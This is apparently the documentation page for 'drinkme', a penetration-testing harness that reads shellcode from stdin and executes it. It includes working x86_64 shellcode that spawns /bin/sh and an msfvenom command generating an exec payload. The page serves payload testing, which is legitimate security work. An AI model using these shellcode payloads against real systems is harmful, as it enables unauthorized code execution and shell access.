Stress Testing

drinkme – Shellcode Testing Harness

drinkme is a shellcode test harness. It reads shellcode from stdin and executes it. This allows pentesters to quickly test their payloads before deployment.
Formats
drinkme can handle shellcode in the following formats:

  • “0x##”
  • “\x##”
  • “x##”
  • “##”

For example, NOP could be represented as any of “0x90”, “\x90”, “x90”, or “90”.
When processing the input drinkme will ignore any of the following:

  • C and C++ style comments.
  • All whitespace.
  • Any characters from the set [\”,;].

Examples
write(STDOUT_FILENO, “Hello world!\n”, strlen(“Hello world!\n”))

[email protected]:~$ cat hello_world.x86_64 
\xeb\x1d\x5e\x48\x31\xc0\xb0\x01\x48\x31\xff\x40\xb7\x01\x48\x31\xd2\xb2\x0d\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xde\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21\x0a

[email protected]:~$ cat hello_world.x86_64 | drinkme
Hello world!

execve(“/bin/sh”)

[email protected]:~$ cat execve_bin_sh.x86_64 
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall

[email protected]:~$ echo $$
3880

[email protected]:~$ cat execve_bin_sh.x86_64 | drinkme

$ echo $$
18613

msfvenom to exec “/usr/bin/id”

[email protected]:~# msfvenom --arch x86_64 --platform linux -f hex -p linux/x64/exec CMD=/usr/bin/id 
No encoder or badchars specified, outputting raw payload
Payload size: 51 bytes
Final size of hex file: 102 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80c0000002f7573722f62696e2f69640056574889e60f05

[email protected]:~# msfvenom --arch x86_64 --platform linux -f hex -p linux/x64/exec CMD=/usr/bin/id | drinkme 
No encoder or badchars specified, outputting raw payload
Payload size: 51 bytes
Final size of hex file: 102 bytes

uid=0(root) gid=0(root) groups=0(root)

Usage

usage:    drinkme [-p] [-h]
           -p  Print the formatted shellcode. Don't execute it.
           -h  Print this help message.

Example:  cat hello_world.x86_64 | drinkme

About the author

Icarus

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